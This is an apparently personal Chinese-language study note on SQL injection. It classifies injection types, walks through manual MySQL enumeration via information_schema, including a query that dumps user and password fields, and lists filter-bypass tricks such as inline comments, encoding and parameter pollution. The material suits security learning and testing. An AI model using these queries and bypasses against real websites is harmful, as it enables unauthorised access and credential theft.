简介
分类
按变量类型分:
数字型注入
字符型注入
按提交方式类型:
GET注入
POST注入
Cookie注入
按注入方式类型:
报错注入
盲注
- 布尔盲注
- 时间盲注
union注入
编码类型:
宽字节注入
常见数据库识别:
sql server #windows(iis)
mysql #apache
microsoft sql server #asp或.net
mysql #php
oracle/mysql #java
MySQL 5.0以上和MySQL 5.0以下版本区别
手工注入基础流程
获取字段数
order by n #n是数字,通过改变n的值观察页面返回情况进而确定字段数
获取系统数据库名
select schema_name from information_schema.schemata;
在版本大于等于5.0的mysql中数据库名放在information_schema的数据库下的schemata数据表中的schema_name字段中。
获取当前的数据库名
select database();
获取数据库中的数据表
select group_concat(table_name) from information_schema.tables where table_schema=database();
获取表中的字段
select group_concat(column_name) from information_schema.columns where table_schema='users';
or
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';
获取字段值
select group_concat(user,password) from users;
而mysql<5.0没有默认数据库information_schema,所以通常只能手工枚举,常用于盲注。
注入绕过
- 大小写绕过
- 双写绕过
- 编码绕过(url编码、十六进制)
- 内联注释绕过
- #
- -- (有空格)
- --+
- /**/
- /*!...*/ 内联注释
- 关键字替换
- 逗号绕过
- 比较符合绕过(> , <)
- 逻辑符号替换 (and=&& , or=|| , xor=| , not=!)
- 空格绕过(括号,+号等)
- 等价函数绕过
- hex()、bin() = ascii()
- concat_wa() = group_concat()
- mid()、substr() = substring()
- http参数污染绕过
结语
已无暇顾及过去,要向前走。